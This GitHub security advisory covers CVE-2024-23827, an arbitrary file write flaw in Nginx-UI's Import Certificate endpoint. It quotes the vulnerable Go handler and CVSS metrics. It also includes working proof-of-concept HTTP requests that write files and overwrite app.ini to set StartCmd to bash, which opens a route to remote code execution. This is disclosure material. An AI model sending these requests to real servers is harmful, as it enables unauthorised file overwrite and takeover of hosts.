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Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature

Critical severity GitHub Reviewed Published Jan 28, 2024 in 0xJacky/nginx-ui • Updated Aug 5, 2024

Package

gomod github.com/0xJacky/Nginx-UI (Go)

Affected versions

< 2.0.0-beta.12

Patched versions

2.0.0-beta.12

Description

Summary

The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72

func AddCert(c *gin.Context) {
	var json struct {
		Name                  string `json:"name"`
		SSLCertificatePath    string `json:"ssl_certificate_path" binding:"required"`
		SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`
		SSLCertificate        string `json:"ssl_certificate"`
		SSLCertificateKey     string `json:"ssl_certificate_key"`
		ChallengeMethod       string `json:"challenge_method"`
		DnsCredentialID       int    `json:"dns_credential_id"`
	}
	if !api.BindAndValid(c, &json) {
		return
	}
	certModel := &model.Cert{
		Name:                  json.Name,
		SSLCertificatePath:    json.SSLCertificatePath,
		SSLCertificateKeyPath: json.SSLCertificateKeyPath,
		ChallengeMethod:       json.ChallengeMethod,
		DnsCredentialID:       json.DnsCredentialID,
	}

	err := certModel.Insert()

	if err != nil {
		api.ErrHandler(c, err)
		return
	}

	content := &cert.Content{
		SSLCertificatePath:    json.SSLCertificatePath,
		SSLCertificateKeyPath: json.SSLCertificateKeyPath,
		SSLCertificate:        json.SSLCertificate,
		SSLCertificateKey:     json.SSLCertificateKey,
	}

	err = content.WriteFile()

	if err != nil {
		api.ErrHandler(c, err)
		return
	}

	c.JSON(http.StatusOK, Transformer(certModel))
}

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15

func (c *Content) WriteFile() (err error) {
	// MkdirAll creates a directory named path, along with any necessary parents,
	// and returns nil, or else returns an error.
	// The permission bits perm (before umask) are used for all directories that MkdirAll creates.
	// If path is already a directory, MkdirAll does nothing and returns nil.

	err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)
	if err != nil {
		return
	}

	err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)
	if err != nil {
		return
	}

	if c.SSLCertificate != "" {
		err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)
		if err != nil {
			return
		}
	}

	if c.SSLCertificateKey != "" {
		err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)
		if err != nil {
			return
		}
	}

	return
}

PoC

POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 144
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close

{"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"}
root@aze:~/nginx# ls -la /tmp/test*
-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test
-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2

It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.

root@aze:~/nginx# cat app.ini  | grep "StartCmd"
StartCmd          = login

Then we overwrite the StartCmd with bash

POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 980
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close

{"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost          = 0.0.0.0\r\nHttpPort          = 9000\r\nRunMode           = debug\r\nJwtSecret         = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret        = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail             = props@pros.com\r\nDatabase          = database\r\nStartCmd          = bash\r\nCADir             = dqsdqsd\r\nDemo              = false\r\nPageSize          = 10\r\nGithubProxy       = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath  =\r\nConfigDir     =\r\nPIDPath       =\r\nTestConfigCmd =\r\nReloadCmd     =\r\nRestartCmd    =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken   =\r\nProxy   =\r\nModel   = \r\n\r\n[casdoor]\r\nEndpoint     =\r\nClientId     =\r\nClientSecret =\r\nCertificate  =\r\nOrganization =\r\nApplication  =\r\nRedirectUri  =","ssl_certificate_key":"test2"}
root@aze:~/nginx# cat app.ini  | grep "StartCmd"
StartCmd          = bash

For the new config to be applied the app needs to be restarted

image

Impact

Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.

References

@0xJacky 0xJacky published to 0xJacky/nginx-ui Jan 28, 2024
Published by the National Vulnerability Database Jan 29, 2024
Published to the GitHub Advisory Database Jan 29, 2024
Reviewed Jan 29, 2024
Last updated Aug 5, 2024

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

0.165%
(54th percentile)

Weaknesses

CVE ID

CVE-2024-23827

GHSA ID

GHSA-xvq9-4vpv-227m

Source code

Credits

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